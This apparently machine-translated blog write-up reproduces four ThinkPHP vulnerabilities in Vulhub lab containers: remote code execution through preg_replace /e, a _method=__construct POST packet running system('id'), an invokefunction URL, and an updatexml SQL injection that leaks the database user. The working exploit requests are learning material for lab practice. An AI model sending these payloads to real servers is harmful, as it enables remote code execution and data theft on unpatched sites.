当前位置:网站首页>Vulhub vulnerability recurrence 68_ ThinkPHP
Vulhub vulnerability recurrence 68_ ThinkPHP
2022-07-06 05:17:00 【Revenge_ scan】
One 、 ThinkPHP 2.x Arbitrary code execution vulnerability
Vulnerability Details
ThinkPHP 2.x In the version , Use `preg_replace` Of `/e` Pattern matching routing :
```php
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
```
Causes the user's input parameters to be inserted into double quotation marks , Cause Arbitrary Code Execution Vulnerability .
ThinkPHP 3.0 Version because Lite This vulnerability is not fixed in mode , There is also this loophole .
Environment building
shooting range :192.168.4.10_ubuntu
Execute the following command to start ThinkPHP 2.1 Of Demo application :
#docker-compose up -d
After the environment starts , visit `http://your-ip:8080/` You can view the default page .
Loophole recurrence
Direct access `http://your-ip:8080/index.php?s=/index/index/name/$%[email protected]()%7D` Can execute `phpinfo()`:
Two 、 ThinkPHP5 5.0.23 Remote code execution vulnerability
Vulnerability Details
ThinkPHP It is a widely used PHP Development framework . Its 5.0.23 In previous versions , obtain method The method name is not handled correctly in the method of , Causes an attacker to call Request Class any method and construct the utilization chain , This leads to a Remote Code Execution Vulnerability .
Reference link :
-https://github.com/top-think/framework/commit/4a4b5e64fa4c46f851b4004005bff5f3196de003
Vulnerability environment
Execute the following command to start a default thinkphp 5.0.23 Environmental Science :
#docker-compose up -d
After the environment starts , visit `http://your-ip:8080` You can see the default ThinkPHP Launch page .
Loophole recurrence
Send packet :
```
POST /index.php?s=captcha HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
```
Successful execution `id` command :
3、 ... and 、 ThinkPHP5 5.0.22/5.1.29 Remote code execution vulnerability
Vulnerability Details
ThinkPHP It is a widely used PHP Development framework . Its version 5 in , Because the controller name was not handled correctly , This results in the situation that the website does not turn on forced routing ( By default ) Any method can be executed , This leads to a remote command execution vulnerability .
Reference link :
- http://www.thinkphp.cn/topic/60400.html
- http://www.thinkphp.cn/topic/60390.html
- https://xz.aliyun.com/t/3570
Vulnerability environment
function ThinkPHP 5.0.20 edition :
#docker-compose up -d
After the environment starts , visit `http://your-ip:8080` You can see ThinkPHP Default startup page .
Loophole recurrence
Direct access `http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1`, Can execute phpinfo:
Four 、 ThinkPHP5 SQL Inject holes && Leakage of sensitive information
Running environment
#docker-compose up -d
After starting , visit `http://your-ip/index.php?ids[]=1&ids[]=2`, You can see that the user name is displayed , It indicates that the environment runs successfully .
Loophole principle
Explanation of vulnerability principle :
- https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html
- https://xz.aliyun.com/t/125
Exploit
visit `http://your-ip/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1`, The information was successfully revealed :
Of course , This is a chicken rib SQL Inject holes . But through DEBUG page , We found the account number of the database 、 password :
This is another sensitive information disclosure vulnerability .
边栏推荐
猜你喜欢
Zynq learning notes (3) - partial reconfiguration
Notes, continuation, escape and other symbols
用StopWatch 统计代码耗时
[mask requirements of OSPF and Isis in multi access network]
Configuration file converted from Excel to Lua
Nacos - TC Construction of High available seata (02)
Modbus protocol communication exception
Pix2pix: image to image conversion using conditional countermeasure networks
[leetcode] 18. Sum of four numbers
Lepton 无损压缩原理及性能分析
随机推荐
Oracle query table index, unique constraint, field
Select knowledge points of structure
Mysql高级篇学习总结9:创建索引、删除索引、降序索引、隐藏索引
UCF(2022暑期团队赛一)
C# AES对字符串进行加密
February 12 relativelayout
Nestjs配置文件上传, 配置中间件以及管道的使用
The underlying structure of five data types in redis
集合详解之 Map + 面试题
Oracle deletes duplicate data, leaving only one
jdbc使用call调用存储过程报错
Driver development - hellowdm driver
[leetcode16] the sum of the nearest three numbers (double pointer)
Compilation and connection of shader in games202 webgl (learn from)
行业专网对比公网,优势在哪儿?能满足什么特定要求?
[noip2008 improvement group] stupid monkey
Easy to understand I2C protocol
2022半年总结
Excel转换为Lua的配置文件
Can the feelings of Xi'an version of "Coca Cola" and Bingfeng beverage rush for IPO continue?